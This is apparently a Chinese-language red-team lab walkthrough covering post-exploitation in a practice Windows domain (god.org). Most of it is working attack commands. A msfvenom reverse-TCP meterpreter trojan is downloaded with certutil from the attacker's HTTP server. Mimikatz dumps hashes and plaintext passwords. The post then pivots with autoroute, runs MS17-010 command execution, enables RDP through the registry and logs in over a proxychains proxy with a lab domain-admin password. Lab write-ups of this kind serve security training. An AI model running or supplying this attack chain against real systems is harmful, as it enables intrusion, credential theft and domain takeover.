漏洞环境为ATT&CK实战系列——红队实战(一),主要记录拿到Shell后再反弹MSF Shell、Mimikatz抓取密码以及登录域控等内网部分。前面漏洞环境搭建及打点等不作记录,可查看参考文章。
环境
- Kali:
192.168.8.128
,攻击机 Win7:
- Web服务器,
192.168.8.129
- 域用户
stu1.god.org
,192.168.52.143
- Web服务器,
- Win2003:域控制器
owa.god.org
,192.168.52.138
反弹Shell
- 攻击机制作木马文件,实际环境中需做免杀
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o win.exe
- 攻击机利用Python开启HTTP服务
$ python -m SimpleHTTPServer 8080
- 靶机CMD下载木马文件
$ certutil.exe -urlcache -split -f http://<攻击者IP>:8080/win.exe
- 攻击机监听端口
$ msfconsole
msf5> use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost <攻击者IP>
msf5 exploit(multi/handler) > set lport <攻击机监听端口>
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on <攻击者IP>:<攻击机监听端口>
- 最后在靶机处运行木马
$ win.exe
- 此时攻击机即可接收到Shell
- 提权
$ getsystem
- 抓取Hash
meterpreter > run post/windows/gather/smart_hashdump
- 获取Hash不全,下面使用Mimitakz再次抓取
MSF-Mimikatz
MSF中自带mimikatz模块(需要Administrator权限或者System权限),且同时支持32位和64位的系统。但是该模块默认是加载32位的系统,若目标主机是64位,直接默认加载该模块会导致很多功能无法使用。
进程迁移
64位系统需要将Meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。并且需要迁移到权限为NT AUTHORITY\SYSTEM
的进程,因为进程迁移后meterpreter的权限是迁移进程的权限。
- 查看靶机位数&进程
meterpreter > sysinfo # 查看位数
meterpreter > ps # 查看进程
- 迁移&加载模块
meterpreter > migrate <PID> # 进程迁移
meterpreter > load mimikatz # 加载Mimikatz模块
抓取Hash
meterpreter > mimikatz_command -f samdump::hashes
抓取明文密码
- 利用
sekurlsa
模块下的searchPasswords
功能抓取明文密码
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
Mimikatz.exe
- 也可以直接往靶机上传
Mimikatz.exe
meterpreter > upload /<path>/mimikatz.exe
- 然后查看明文密码
meterpreter > shell
$ mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords
横向渗透
- 定位域控
meterpreter > shell
$ net time /domain
- 配置路由
meterpreter > run autoroute -s 192.168.52.0/24
使用NetBIOS协议扫描域网段
- 扫描到OWA的IP地址为
192.168.52.138
- 其实完整靶场应该还有一台域用户Win2003,这里没开
- 扫描到OWA的IP地址为
meterpreter > background # 后台挂起Session
msf5 exploit(multi/handler) > use auxiliary/scanner/netbios/nbname
msf5 auxiliary(scanner/netbios/nbname) > set rhosts 192.168.52.0/24
msf5 auxiliary(scanner/netbios/nbname) > run
MS17-010
- 扫一下MS17-010
meterpreter > background # 后台挂起Session
msf5 auxiliary(scanner/netbios/nbname) > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
- 可能存在MS17-010,使用
ms17_010_command
模块尝试执行系统命令
msf5 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138
msf5 auxiliary(admin/smb/ms17_010_command) > set command whoami
msf5 auxiliary(admin/smb/ms17_010_command) > run
- 确定存在该漏洞,继续使用
ms17_010_command
模块开3389端口
msf5 auxiliary(admin/smb/ms17_010_command) > set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
msf5 auxiliary(admin/smb/ms17_010_command) > run
远程桌面
- 使用
auxiliary/server/socks4a
模块进行代理
msf5 auxiliary(admin/smb/ms17_010_command) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost <攻击机IP>
msf5 auxiliary(server/socks4a) > run
- 然后利用终端代理工具
Proxychains-Ng
进行远程登录,(Proxychains-Ng
配置可参考这篇文章),这里还需要修改proxychains.conf
配置文件
$ vim /etc/proxychains.conf
socks4 <攻击机IP> 1080
使用
rdesktop
命令打开远程桌面,使用前面获取到的域管账号进行登录God\Administratos
hongrisec@2019.
$ proxychains rdesktop 192.168.52.138
参考
版权属于:Naraku
本文链接:https://www.naraku.cn/posts/91.html
本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~